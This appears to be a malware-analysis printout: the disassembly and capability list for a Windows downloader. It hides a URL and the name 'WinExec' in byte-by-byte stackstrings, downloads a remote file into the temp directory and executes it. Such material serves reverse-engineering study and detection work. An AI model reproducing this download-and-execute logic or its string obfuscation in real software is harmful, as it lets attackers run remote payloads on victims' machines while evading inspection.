Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Create http request
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x2a4
xor eax, eax
push edi
push eax
push eax
mov ecx, 0x19
lea edi, [esp + 0x44]
push eax
push eax
rep stosd dword es:[edi], eax
push str.Testing
mov dword [esp + 0x48], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
jne 0x40105d
push str.Internet_open_failed_
mov ecx, 0x40bbd8
call fcn.00404cbf
push 0x4012d0
push 0xa
mov ecx, eax
call fcn.00404b78
mov ecx, eax
call fcn.004012b0
pop edi
add esp, 0x2a4
ret
mov al, 0x2e
push ebx
mov bl, 0x74
mov byte [esp + 0x1b], al
mov byte [esp + 0x22], al
mov byte [esp + 0x31], al
push esi
mov al, 0x72
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], bl
mov byte [esp + 0x20], bl
push 0
mov bl, 0x6c
mov byte [esp + 0x3a], al
mov byte [esp + 0x3c], al
push 0x80000000
push 0
lea eax, [esp + 0x20]
mov byte [esp + 0x2d], bl
mov byte [esp + 0x37], bl
push 0
mov dl, 0x2f
mov cl, 0x61
mov bl, 0x6e
push eax
push edi
mov byte [esp + 0x2c], 0x68
mov byte [esp + 0x2f], 0x70
mov byte [esp + 0x30], 0x3a
mov byte [esp + 0x31], dl
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x62
mov byte [esp + 0x34], cl
mov byte [esp + 0x35], 0x69
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x3a], 0x62
mov byte [esp + 0x3b], 0x78
mov byte [esp + 0x3c], 0x73
mov byte [esp + 0x3d], 0x6a
mov byte [esp + 0x3f], 0x63
mov byte [esp + 0x40], 0x6f
mov byte [esp + 0x41], 0x6d
mov byte [esp + 0x42], dl
mov byte [esp + 0x44], 0x71
mov byte [esp + 0x45], 0x79
mov byte [esp + 0x46], cl
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x7a
mov byte [esp + 0x49], 0x68
mov byte [esp + 0x4a], 0x65
mov byte [esp + 0x4b], bl
mov byte [esp + 0x4c], 0x67
mov byte [esp + 0x4f], cl
mov byte [esp + 0x51], 0
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x40115f
push str.Internet_open_url_failed_
mov ecx, 0x40bbd8
call fcn.00404cbf
push 0x4012d0
push 0xa
mov ecx, eax
call fcn.00404b78
mov ecx, eax
call fcn.004012b0
jmp 0x40124b
lea ecx, [esp + 0x1ac]
push ebp
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [esp + 0xac]
lea eax, [esp + 0x1b0]
push edx
push 0
push str.aoyMxKB
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0x80
push 2
push 0
push 0
lea ecx, [esp + 0xc0]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x4011dd
push str.Create_File_failed_
mov ecx, 0x40bbd8
call fcn.00404cbf
push 0x4012d0
push 0xa
mov ecx, eax
call fcn.00404b78
mov ecx, eax
call fcn.004012b0
jmp 0x401243
lea edx, [esp + 0x40]
lea eax, [esp + 0x48]
push edx
push 0x64
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [esp + 0x40]
test eax, eax
je 0x401218
lea ecx, [esp + 0x44]
push 0
push ecx
lea edx, [esp + 0x50]
push 0x64
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4011dd
push str.Write_to_file_failed_
jmp 0x40121d
push str.Finished_downloading_
mov ecx, 0x40bbd8
call fcn.00404cbf
push 0x4012d0
push 0xa
mov ecx, eax
call fcn.00404b78
mov ecx, eax
call fcn.004012b0
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ebp
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [esp + 0xc]
mov byte [esp + 0xc], 0x57
push eax
push str.KERNEL32.dll
mov byte [esp + 0x15], 0x69
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], 0x45
mov byte [esp + 0x18], 0x78
mov byte [esp + 0x19], 0x65
mov byte [esp + 0x1a], 0x63
mov byte [esp + 0x1b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0xa8]
push 5
push ecx
call eax
pop esi
pop ebx
pop edi
add esp, 0x2a4
ret